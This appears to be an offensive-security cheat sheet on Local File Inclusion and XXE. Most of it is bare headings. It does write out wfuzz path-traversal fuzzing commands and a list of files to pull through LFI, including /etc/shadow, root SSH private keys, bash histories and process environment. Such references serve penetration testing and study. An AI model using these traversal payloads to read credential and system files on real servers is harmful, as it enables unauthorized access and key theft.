LFI / XXE
01. Local File Inclusion (LFI)
01.1 Linux
Click here for wordlist
## ------------------| Linux
wfuzz -u http://<URL>/index.php?page=../../../..FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt --hl 367
wfuzz -u http://<URL>/index.php?page=../../../..FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt --hl 367
wget https://raw.githubusercontent.com/foospidy/payloads/master/other/traversal/dotdotpwn.txt
wfuzz -u http://<URL>/index.php?page=../../../..FUZZ -w dotdotpwn.txt --hl 367
## ------------------| Windows
wfuzz -u http://<URL>/index.php?page=../../../..FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt --hl 367 Useful LFI files
../../../etc/passwd
../../../../../../../../../../../../etc/passwd
/etc/passwd
/etc/shadow
/etc/issue
/etc/group
/etc/hostname
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/root/.bash_history
/root/.ssh/id_rsa
/root/.ssh/authorized_keys
/home/user/.bash_history
/home/user/.ssh/authorized_keys
/home/user/.ssh/id_rsa
/proc/self/environ
/proc/self/cmdlineConfiguration Files
Log Files
Download running binary file.
01.2 Windows
Click here for wordlist
File Paths
01.3 Wrappers & Filters
01.4 LFI to RCEs
include=('$file')
Log Poisoning
01.5 Tricks
phpinfo() (file_uploads = on)
01.6 LFI with python
Click
here!
02. Remote File Inclusion
allow_url_include
02. XML external entity (XXE) injection
Common payloads
Filters
Last updated